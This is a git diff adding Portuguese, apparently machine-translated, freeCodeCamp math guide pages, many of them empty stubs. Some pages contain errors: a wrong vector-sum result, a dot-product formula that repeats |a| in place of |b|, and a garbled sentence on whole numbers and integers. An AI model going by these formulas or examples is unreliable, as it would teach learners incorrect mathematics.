diff --git a/client/src/guide/portuguese/mathematics/using-the-cosine-double-angle-identity/index.md b/client/src/guide/portuguese/mathematics/using-the-cosine-double-angle-identity/index.md
new file mode 100644
index 0000000000..3f4d3ef6c2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/using-the-cosine-double-angle-identity/index.md
@@ -0,0 +1,11 @@
+---
+title: Using the Cosine Double Angle Identity
+localeTitle: Usando a identidade de duplo ângulo Cosine
+---
+## Usando a identidade de duplo ângulo Cosine
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/using-the-cosine-double-angle-identity/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vector-intro-for-linear-algebra/index.md b/client/src/guide/portuguese/mathematics/vector-intro-for-linear-algebra/index.md
new file mode 100644
index 0000000000..fb0e886563
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vector-intro-for-linear-algebra/index.md
@@ -0,0 +1,11 @@
+---
+title: Vector Intro for Linear Algebra
+localeTitle: Introdução de vetor para álgebra linear
+---
+## Introdução de vetor para álgebra linear
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vector-intro-for-linear-algebra/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/addition-and-scalar-multiplication/index.md b/client/src/guide/portuguese/mathematics/vectors/addition-and-scalar-multiplication/index.md
new file mode 100644
index 0000000000..da2a021b41
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/addition-and-scalar-multiplication/index.md
@@ -0,0 +1,42 @@
+---
+title: Addition and Scalar Multiplication
+localeTitle: Adição e multiplicação escalar
+---
+## Adição e multiplicação escalar
+
+Ao trabalhar com vetores, as duas operações mais comuns são adição de vetores e multiplicação por um escalar.
+
+### Adição de vetores
+
+A adição de vetores pode ser visualizada da seguinte maneira:
+
+1.  Pegue a "cauda" (O fim sem uma flecha / a origem do vetor) do segundo vetor, e conecte-a (inalterada) à "ponta" (A ponta / ponta da flecha) do primeiro vetor. Agora, se você criar um novo vetor desde a cauda do primeiro vetor até a ponta do segundo vetor, você ficará com a soma dos dois vetores!
+    
+2.  Subtraindo dois vetores é quase o mesmo. No entanto, você deve inverter a direção do segundo vetor e, depois, conectá-lo ao primeiro.
+    
+
+Obviamente, você não quer ter que desenhar e conectar vetores toda vez que quiser fazer uma adição vetorial. Felizmente, a solução é muito mais simples na prática.
+
+Supondo que você tenha dois vetores <1,2> ​​e <5, -4>, tudo o que você precisa fazer é adicionar os componentes correspondentes:
+
+ <1,2> ​​+ <5, -4> = <1 + 5, 2 + (-4)> = <6, -2> 
+
+Isso funciona com vetores de quantas dimensões você desejar, desde que os tamanhos dos dois vetores adicionados sejam os mesmos. Por exemplo, adicionando <4, 4, -5, 0> e <2, 4, -1, -29>:
+
+ <4, 4, -5, 0> + <2, 4, -1, -29> = <4 + 2, 4 + 4, -5 + (-1), 0 + (-29)> = <6 8, 6, -29> 
+
+### Multiplicação escalar
+
+Ao multiplicar um vetor por um escalar, você pode pensar nele como aumentando sua magnitude.
+
+Por exemplo, ao multiplicar o vetor <2, 3> por 2:
+
+ 2 \* <2,3> = <2 \* 2, 2 \* 3> = <4, 6> 
+
+A direção é preservada - apenas a magnitude é aumentada por um fator de 2.
+
+No entanto, quando multiplicamos por um número negativo, a direção é invertida. Ao multiplicar o vetor <2, 3> por -2:
+
+ -2 \* <2, 3> = <-2 \* 2, -2 \* 3> = <-4, -6> 
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/algebraic-laws-of-vectors/index.md b/client/src/guide/portuguese/mathematics/vectors/algebraic-laws-of-vectors/index.md
new file mode 100644
index 0000000000..1490637f42
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/algebraic-laws-of-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Algebraic Laws of Vectors
+localeTitle: Leis algébricas de vetores
+---
+## Leis algébricas de vetores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/algebraic-laws-of-vectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/angle-between-vectors/index.md b/client/src/guide/portuguese/mathematics/vectors/angle-between-vectors/index.md
new file mode 100644
index 0000000000..d7b04722c6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/angle-between-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Angle Between Vectors
+localeTitle: Ângulo entre vetores
+---
+## Ângulo entre vetores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/angle-between-vectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/cauchy-schwartz-inequality/index.md b/client/src/guide/portuguese/mathematics/vectors/cauchy-schwartz-inequality/index.md
new file mode 100644
index 0000000000..f36871fd6d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/cauchy-schwartz-inequality/index.md
@@ -0,0 +1,11 @@
+---
+title: Cauchy Schwartz Inequality
+localeTitle: Desigualdade de Cauchy Schwartz
+---
+## Desigualdade de Cauchy Schwartz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/cauchy-schwartz-inequality/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/cross-product/index.md b/client/src/guide/portuguese/mathematics/vectors/cross-product/index.md
new file mode 100644
index 0000000000..15cbc22f7c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/cross-product/index.md
@@ -0,0 +1,11 @@
+---
+title: Cross Product
+localeTitle: Produto cruzado
+---
+## Produto cruzado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/cross-product/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/curves/index.md b/client/src/guide/portuguese/mathematics/vectors/curves/index.md
new file mode 100644
index 0000000000..a1fe8bfa7f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/curves/index.md
@@ -0,0 +1,11 @@
+---
+title: Curves
+localeTitle: Curvas
+---
+## Curvas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/curves/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/directed-line-segments/index.md b/client/src/guide/portuguese/mathematics/vectors/directed-line-segments/index.md
new file mode 100644
index 0000000000..ad461d0163
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/directed-line-segments/index.md
@@ -0,0 +1,11 @@
+---
+title: Directed Line Segments
+localeTitle: Segmentos de linhas direcionadas
+---
+## Segmentos de linhas direcionadas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/directed-line-segments/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/dot-product/index.md b/client/src/guide/portuguese/mathematics/vectors/dot-product/index.md
new file mode 100644
index 0000000000..5f65778fa1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/dot-product/index.md
@@ -0,0 +1,34 @@
+---
+title: Dot Product
+localeTitle: Produto pontual
+---
+# Produto pontual
+
+O produto escalar de vetores também é conhecido como produto “escalar”.
+
+#### Fórmula
+
+Se **a** e **b** são dois vetores reunidos em um ponto, cuja módulos são | **a** | e | **b** | respectivamente e **θ** é o ângulo entre eles, então o produto "ponto" ou "escalar" dos dois vetores é dado como:
+
+**ab** = | **a** | | **a** | cosθ
+
+Além disso, se os dois vectores **(a** e **b)** são dadas em termos de seus [vectores unitários](https://en.wikipedia.org/wiki/Unit_vector) , onde
+
+**a** = x 1 i + y 1 j
+
+e
+
+**b** = x 2 i + y 2 j
+
+Seu produto de ponto é dado como:
+
+**ab** = (x 1 i + y 1 j) \* (x 2 i + y 2 j)
+
+Como _i_ _ej_ são [vetores unitários](https://en.wikipedia.org/wiki/Unit_vector) (equivalentes a um), então
+
+**ab** = (x 1 \* x 2 ) + (y 1 \* y 2 )
+
+### Mais Informações:
+
+1.  [Vetor euclidiano](https://en.wikipedia.org/wiki/Euclidean_vector)
+2.  [Vector e Vector Aritmética](http://spiff.rit.edu/classes/phys311.old/lectures/vector/vector.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/hyperplanes/index.md b/client/src/guide/portuguese/mathematics/vectors/hyperplanes/index.md
new file mode 100644
index 0000000000..b7f813190c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/hyperplanes/index.md
@@ -0,0 +1,11 @@
+---
+title: Hyperplanes
+localeTitle: Hyperplanes
+---
+## Hyperplanes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/hyperplanes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/index.md b/client/src/guide/portuguese/mathematics/vectors/index.md
new file mode 100644
index 0000000000..fd042958ab
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/index.md
@@ -0,0 +1,7 @@
+---
+title: Vectors
+localeTitle: Vetores
+---
+## Vetores
+
+Vetores são objetos geométricos que possuem comprimento (magnitude) e direção. Vetores desempenham um papel importante nos campos da física, engenharia e matemática.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/introduction-to-vectors/index.md b/client/src/guide/portuguese/mathematics/vectors/introduction-to-vectors/index.md
new file mode 100644
index 0000000000..98e5cd5512
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/introduction-to-vectors/index.md
@@ -0,0 +1,29 @@
+---
+title: Introduction to Vectors
+localeTitle: Introdução aos Vetores
+---
+# Introdução aos Vetores.
+
+Um vetor é uma grandeza física que pode ser medida (tem magnitude em unidades) e também opera em uma direção particular, ao contrário de um escalar que só pode ser medido. Exemplos de vetores incluem velocidade, aceleração, força e momento.
+
+Um vetor pode ser representado por uma linha desenhada, de tal forma que:
+
+*   o comprimento da linha representa a _**magnitude**_ do vetor em uma determinada unidade;
+*   a direção da linha representa a _**direção**_ na qual o vetor opera (ou age).
+
+![representação vetorial](https://github.com/xeroxism/myImages/blob/master/FCC_guides/vector-representation.png?raw=true)
+
+Na figura acima, o deslocamento de A para B é escrito como **AB** **(A** ou **A).** o ponto A é a origem ou ponto inicial e o ponto B é o ponto principal ou terminal. Esse deslocamento é equivalente a mover uma distância _x_ horizontalmente seguido por _y_ verticalmente.
+
+### O módulo de um vetor
+
+O módulo de um vetor é um número escalar positivo que dá magnitude ao vetor. Está escrito assim:
+
+| **AB** | ou | **a** | ou simplesmente **AB** ou **a** .
+
+Onde; | AB | = √ ( _x_ 2 + _y_ 2 )
+
+### Mais Informações:
+
+1.  [Vetor euclidiano](https://en.wikipedia.org/wiki/Euclidean_vector) .
+2.  [Vector e vetor aritmética](http://spiff.rit.edu/classes/phys311.old/lectures/vector/vector.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/minkowski-inequality/index.md b/client/src/guide/portuguese/mathematics/vectors/minkowski-inequality/index.md
new file mode 100644
index 0000000000..8cbcbd1beb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/minkowski-inequality/index.md
@@ -0,0 +1,11 @@
+---
+title: Minkowski Inequality
+localeTitle: Desigualdade de Minkowski
+---
+## Desigualdade de Minkowski
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/minkowski-inequality/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/norm-of-a-vector/index.md b/client/src/guide/portuguese/mathematics/vectors/norm-of-a-vector/index.md
new file mode 100644
index 0000000000..e2eea114db
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/norm-of-a-vector/index.md
@@ -0,0 +1,11 @@
+---
+title: Norm of a Vector
+localeTitle: Norma de um vetor
+---
+## Norma de um vetor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/norm-of-a-vector/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/parametric-representation-of-lines/index.md b/client/src/guide/portuguese/mathematics/vectors/parametric-representation-of-lines/index.md
new file mode 100644
index 0000000000..374c97bb6f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/parametric-representation-of-lines/index.md
@@ -0,0 +1,11 @@
+---
+title: Parametric Representation of Lines
+localeTitle: Representação Paramétrica de Linhas
+---
+## Representação Paramétrica de Linhas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/parametric-representation-of-lines/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/projections/index.md b/client/src/guide/portuguese/mathematics/vectors/projections/index.md
new file mode 100644
index 0000000000..79e8d5ee06
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/projections/index.md
@@ -0,0 +1,11 @@
+---
+title: Projections
+localeTitle: Projeções
+---
+## Projeções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/projections/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/spatial-vectors/index.md b/client/src/guide/portuguese/mathematics/vectors/spatial-vectors/index.md
new file mode 100644
index 0000000000..80e4bb8b87
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/spatial-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Spatial Vectors
+localeTitle: Vetores espaciais
+---
+## Vetores espaciais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/spatial-vectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/tangent-vectors/index.md b/client/src/guide/portuguese/mathematics/vectors/tangent-vectors/index.md
new file mode 100644
index 0000000000..d5315e740d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/tangent-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Tangent Vectors
+localeTitle: Vetores Tangentes
+---
+## Vetores Tangentes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/tangent-vectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vectors/unit-vectors/index.md b/client/src/guide/portuguese/mathematics/vectors/unit-vectors/index.md
new file mode 100644
index 0000000000..352269389c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vectors/unit-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Unit Vectors
+localeTitle: Vetores unitários
+---
+## Vetores unitários
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/unit-vectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/venn-diagrams/index.md b/client/src/guide/portuguese/mathematics/venn-diagrams/index.md
new file mode 100644
index 0000000000..bd1bf2c65a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/venn-diagrams/index.md
@@ -0,0 +1,11 @@
+---
+title: Venn Diagrams
+localeTitle: Diagramas de Venn
+---
+## Diagramas venn
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/venn-diagrams/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vertical-angles/index.md b/client/src/guide/portuguese/mathematics/vertical-angles/index.md
new file mode 100644
index 0000000000..a0fd0ea73b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vertical-angles/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertical Angles
+localeTitle: Ângulos verticais
+---
+## Ângulos verticais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vertical-angles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/vertical-asymptotes/index.md b/client/src/guide/portuguese/mathematics/vertical-asymptotes/index.md
new file mode 100644
index 0000000000..38a9513c8f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/vertical-asymptotes/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertical Asymptotes
+localeTitle: Assíntotas Verticais
+---
+## Assíntotas Verticais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vertical-asymptotes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/volume-of-a-cone/index.md b/client/src/guide/portuguese/mathematics/volume-of-a-cone/index.md
new file mode 100644
index 0000000000..afb7983a75
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/volume-of-a-cone/index.md
@@ -0,0 +1,15 @@
+---
+title: Volume of a Cone
+localeTitle: Volume de um Cone
+---
+## Volume de um Cone
+
+Dado o raio da base do cone, r , e a altura do cone, h , o volume de um cone é
+
+1/3 \* π \* r 2 \* h .
+
+Por exemplo, o volume de um cone com raio de sua base de 8 unidades e altura de 18 unidades é 1/3 \* π \* 8 \* 8 \* 18 = 1206,37 .
+
+#### Mais Informações:
+
+[Volume de um Cone](https://www.varsitytutors.com/hotmath/hotmath_help/topics/volume-of-a-cone)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/volume-of-a-sphere/index.md b/client/src/guide/portuguese/mathematics/volume-of-a-sphere/index.md
new file mode 100644
index 0000000000..3ed08e7344
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/volume-of-a-sphere/index.md
@@ -0,0 +1,15 @@
+---
+title: Volume of a Sphere
+localeTitle: Volume de uma Esfera
+---
+## Volume de uma Esfera
+
+Dado o raio da esfera, r , o volume da esfera é
+
+4/3 \* π \* r 3 .
+
+Por exemplo, o volume de uma esfera com raio de 10 unidades é 4/3 \* π \* 10 \* 10 \* 10 = 4188,79 .
+
+#### Mais Informações:
+
+[Volume de uma Esfera](https://www.mathopenref.com/spherevolume.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md b/client/src/guide/portuguese/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md
new file mode 100644
index 0000000000..18950d5b41
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md
@@ -0,0 +1,11 @@
+---
+title: What a P Value Tells You About Statistical Data
+localeTitle: O que um valor P lhe informa sobre dados estatísticos
+---
+## O que um valor P lhe informa sobre dados estatísticos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/what-is-a-function/index.md b/client/src/guide/portuguese/mathematics/what-is-a-function/index.md
new file mode 100644
index 0000000000..b7050fa293
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/what-is-a-function/index.md
@@ -0,0 +1,13 @@
+---
+title: What Is a Function
+localeTitle: O que é uma função
+---
+## O que é uma função
+
+Uma função é matematicamente definida como um mapeamento de um conjunto de números para outro. Por exemplo, `f(x) = x*2.` Qualquer entrada dada de algum conjunto (chamado domínio) sempre fornece uma saída específica do intervalo. Na função de duplicação, as entradas 1,3 e 5 mapeiam os números 2,6 e 10 da faixa, que também é o conjunto de todos os números reais.
+
+Em contraste, uma "função" na programação (mais precisamente chamada de método ou sub-rotina em algumas linguagens) é um método que pega um ou mais valores e gera uma ou mais saídas. Geralmente, não há garantia de que algum estado interno (como uma variável global) possa mudar de forma que f (2) possa ser 5 de uma só vez ou 10 quando você executá-lo novamente. Na maioria das linguagens isso é permitido, até mesmo esperado em alguns casos, mas algumas linguagens que usam _programação funcional_ definem funções como funções matematicamente, pois não há variáveis ​​de estado que possam mudar e tenham inconsistências, dando assim um código "comprovadamente correto".
+
+#### Mais Informações:
+
+Idiomas funcionais: [Haskell](http://learnyouahaskell.com/chapters) , [Clojure](https://clojure.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/what-is-the-domain-of-a-function/index.md b/client/src/guide/portuguese/mathematics/what-is-the-domain-of-a-function/index.md
new file mode 100644
index 0000000000..9f060b7937
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/what-is-the-domain-of-a-function/index.md
@@ -0,0 +1,13 @@
+---
+title: What Is the Domain of a Function
+localeTitle: Qual é o domínio de uma função
+---
+## Qual é o domínio de uma função
+
+O domínio de uma função é o conjunto completo de valores possíveis da variável independente. Em outras palavras, o domínio é o conjunto de todos os possíveis valores de x que farão a função "funcionar" e produzirão valores y reais.
+
+Por exemplo, para y = sqrt (x + 2) , o domínio dessa função é x> = -2 .
+
+#### Mais Informações:
+
+[Domínio e intervalo de uma função](https://www.intmath.com/functions-and-graphs/2a-domain-and-range.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/what-is-the-range-of-a-function/index.md b/client/src/guide/portuguese/mathematics/what-is-the-range-of-a-function/index.md
new file mode 100644
index 0000000000..3ae30a5754
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/what-is-the-range-of-a-function/index.md
@@ -0,0 +1,13 @@
+---
+title: What Is the Range of a Function
+localeTitle: Qual é o intervalo de uma função
+---
+## Qual é o intervalo de uma função
+
+O intervalo de uma função é o conjunto completo de todos os valores resultantes possíveis da variável dependente, após você substituir o domínio. Em outras palavras, o intervalo é o valor y resultante que você obtém depois de substituir todos os possíveis valores de x.
+
+Por exemplo, para y = sqrt (x + 2) , o intervalo dessa função é y> = 0 .
+
+#### Mais Informações:
+
+[Domínio e intervalo de uma função](https://www.intmath.com/functions-and-graphs/2a-domain-and-range.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/whole-numbers-and-integers/index.md b/client/src/guide/portuguese/mathematics/whole-numbers-and-integers/index.md
new file mode 100644
index 0000000000..9ca0f97691
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/whole-numbers-and-integers/index.md
@@ -0,0 +1,25 @@
+---
+title: Whole Numbers and Integers
+localeTitle: Números inteiros e inteiros
+---
+## Números inteiros e inteiros
+
+### Números inteiros
+
+Todos os números positivos, incluindo zero, que não possuem uma parte fracionária ou decimal. Os números que começam em 1, 2, 3 e assim por diante ... são chamados de números de contagem ou números naturais.
+
+_Exemplos:_ 0, 8, 512, 36535
+
+Números inteiros são geralmente aceitos devido à sua natureza trivial. Mas toda a nossa compreensão da matemática se baseia no entendimento do conceito de números inteiros e contagem.
+
+Usando os números inteiros, podemos contar, somar, subtrair, multiplicar e, assim, ser capaz de executar todas as outras funções matemáticas. Você pode formar números Inteiros, Racionais, Irracionais e Reais usando números inteiros.
+
+### Inteiros
+
+Um inteiro tem todas as propriedades de um número inteiro, mencionado acima. Além disso, um inteiro pode ser negativo.
+
+Todos os números inteiros são inteiros.
+
+_Exemplos:_ -23, -11, 0, 12, 7129
+
+Um inteiro é negativo se tiver um sinal `-` precedendo-o. Você pode converter qualquer número real em um inteiro pelo processo de [arredondamento](https://www.mathsisfun.com/rounding-numbers.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md b/client/src/guide/portuguese/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md
new file mode 100644
index 0000000000..5892e5cce5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Converting a Fraction to a Decimal
+localeTitle: Exemplo Trabalhado Convertendo uma Fração em um Decimal
+---
+## Exemplo Trabalhado Convertendo uma Fração em um Decimal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/worked-example-domain-and-range-from-graph/index.md b/client/src/guide/portuguese/mathematics/worked-example-domain-and-range-from-graph/index.md
new file mode 100644
index 0000000000..25a932e32c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/worked-example-domain-and-range-from-graph/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Domain and Range from Graph
+localeTitle: Exemplo de domínio e intervalo de trabalho do gráfico
+---
+## Exemplo de domínio e intervalo de trabalho do gráfico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-domain-and-range-from-graph/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/worked-example-graphing-piecewise-functions/index.md b/client/src/guide/portuguese/mathematics/worked-example-graphing-piecewise-functions/index.md
new file mode 100644
index 0000000000..9170dba0f3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/worked-example-graphing-piecewise-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Graphing Piecewise Functions
+localeTitle: Exemplo trabalhado Representando graficamente as funções por partes
+---
+## Exemplo trabalhado Representando graficamente as funções por partes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-graphing-piecewise-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/worked-example-interval-of-convergence/index.md b/client/src/guide/portuguese/mathematics/worked-example-interval-of-convergence/index.md
